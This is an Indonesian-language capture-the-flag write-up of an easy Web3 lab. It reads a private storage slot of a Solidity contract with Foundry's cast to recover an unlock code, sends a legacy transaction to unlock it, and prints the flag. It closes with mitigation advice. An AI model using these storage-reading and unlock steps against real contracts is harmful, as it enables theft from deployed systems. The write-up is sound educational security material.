We may have found a way to break into the DarkInject blockchain, exploiting a vulnerability in their system. This might be our only chance to stop them—for good.
Category: Web3 || Level: EASY
Tantangan ini berfokus pada eksploitasi Smart Contract dalam lingkungan Web3. Kita diberikan sebuah smart contract yang memiliki sistem keamanan lemah, memungkinkan kita untuk mendapatkan flag dengan mengekstrak kode unlock dari storage kontrak.
CTF ini mengajarkan bagaimana cara menganalisis kontrak pintar berbasis Ethereum dan mengeksploitasinya menggunakan alat seperti cast (foundry) serta memahami cara kerja transaksi di jaringan blockchain.
Smart Contract & Solidity
Smart contract adalah program yang berjalan di atas blockchain dan dieksekusi secara deterministik. Dalam CTF ini, kontrak ditulis dalam Solidity dan memiliki fungsi utama:
hint() → Memberikan petunjuk terkait kode unlock.
unlock(uint256 input) → Membuka akses jika input sesuai dengan kode.
isSolved() → Mengecek apakah kontrak telah dibuka.
getFlag() → Mengembalikan flag jika unlock_flag sudah true.
Storage dalam Ethereum Smart Contract
Meskipun variabel dalam Solidity bisa dideklarasikan sebagai private, mereka tetap tersimpan di blockchain dan bisa diakses oleh siapa saja menggunakan teknik storage reading.
Code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
contract Challenge {
string private secret = "THM{}";
bool private unlock_flag = false;
uint256 private code;
string private hint_text;
constructor(string memory flag, string memory challenge_hint, uint256 challenge_code) {
secret = flag;
code = challenge_code;
hint_text = challenge_hint;
}
function hint() external view returns (string memory) {
return hint_text;
}
function unlock(uint256 input) external returns (bool) {
if (input == code) {
unlock_flag = true;
return true;
}
return false;
}
function isSolved() external view returns (bool) {
return unlock_flag;
}
function getFlag() external view returns (string memory) {
require(unlock_flag, "Challenge not solved yet");
return secret;
}
}
Code kontrak menunjukkan bahwa flag hanya bisa diambil jika fungsi `unlock()` berhasil dijalankan dengan input yang benar. Karena code adalah variabel private, maka perlu menemukannya.
bool private unlock_flag = false;
uint256 private code;
Memulai dengan mengambil informasi dasar yang diberikan pada tantangan
RPC_URL=http://10.10.236.113:8545
API_URL=http://10.10.236.113
PRIVATE_KEY=$(curl -s ${API_URL}/challenge | jq -r ".player_wallet.private_key")
CONTRACT_ADDRESS=$(curl -s ${API_URL}/challenge | jq -r ".contract_address")
PLAYER_ADDRESS=$(curl -s ${API_URL}/challenge | jq -r ".player_wallet.address")
is_solved=`cast call $CONTRACT_ADDRESS "isSolved()(bool)" --rpc-url ${RPC_URL}`
echo "Check if is solved: $is_solved"
Fungsi hint() memberikan petunjuk tentang kode unlock:
cast call $CONTRACT_ADDRESS "hint()(string)" --rpc-url ${RPC_URL}
Output:
"The code is 333"
Selain itu, mencoba membaca storage kontrak:
cast storage $CONTRACT_ADDRESS 2 --rpc-url ${RPC_URL}
Output:
0x000000000000000000000000000000000000000000000000000000000000014d
Jika dikonversi ke desimal "0x14d = 333". Kedua metode ini mengonfirmasi bahwa kode unlock adalah 333.
Saat mencoba mengirim transaksi:
cast send $CONTRACT_ADDRESS "unlock(uint256)" 333 --rpc-url ${RPC_URL} --private-key ${PRIVATE_KEY}
Terjadi error:
unsupported feature: eip1559
Solusinya adalah menggunakan legacy transaction:
cast send $CONTRACT_ADDRESS "unlock(uint256)" 333 --rpc-url ${RPC_URL} --private-key ${PRIVATE_KEY} --legacy
Hasil transaksi:
status 1 (success)
Cek apakah challenge berhasil dipecahkan:
cast call $CONTRACT_ADDRESS "isSolved()(bool)" --rpc-url ${RPC_URL}
Output:
true
cast call $CONTRACT_ADDRESS "getFlag()(string)" --rpc-url ${RPC_URL}
Output:
"THM{web3_h4ck1ng_code}"
Variabel private dalam Solidity tidak benar-benar aman karena dapat diakses dari blockchain.
Transaksi Ethereum harus sesuai dengan spesifikasi jaringan (EIP-1559 vs Legacy).
Menggunakan tools seperti Foundry (cast) sangat berguna dalam eksploitasi Web3.
Untuk mencegah serangan seperti ini dalam Smart Contract yang nyata, beberapa langkah berikut dapat diterapkan:
Hindari Menyimpan Data Sensitif dalam Kontrak
Data seperti kode unlock atau informasi rahasia sebaiknya tidak disimpan dalam storage blockchain, karena bisa dibaca dengan eth_getStorageAt.
Gunakan Keamanan Berbasis Hash
Alih-alih menyimpan code secara langsung, gunakan hashing seperti:
bytes32 private hashedCode = keccak256(abi.encodePacked("password123"));
Kemudian verifikasi dengan:
require(keccak256(abi.encodePacked(input)) == hashedCode, "Invalid code");
Ini mencegah membaca code langsung dari storage.
Gunakan Off-Chain Verification
Jika memungkinkan, gunakan metode autentikasi di luar smart contract sehingga tidak ada data sensitif yang tersimpan di
blockchain.
Variabel private di Solidity tidak benar-benar privat.
Blockchain bersifat transparan, sehingga informasi dalam kontrak dapat diakses oleh siapa saja.
EIP-1559 tidak selalu didukung di semua jaringan, jadi memahami berbagai format transaksi sangat penting.
Menggunakan tools seperti Foundry (cast) sangat berguna untuk eksploitasi dan pentesting smart contract.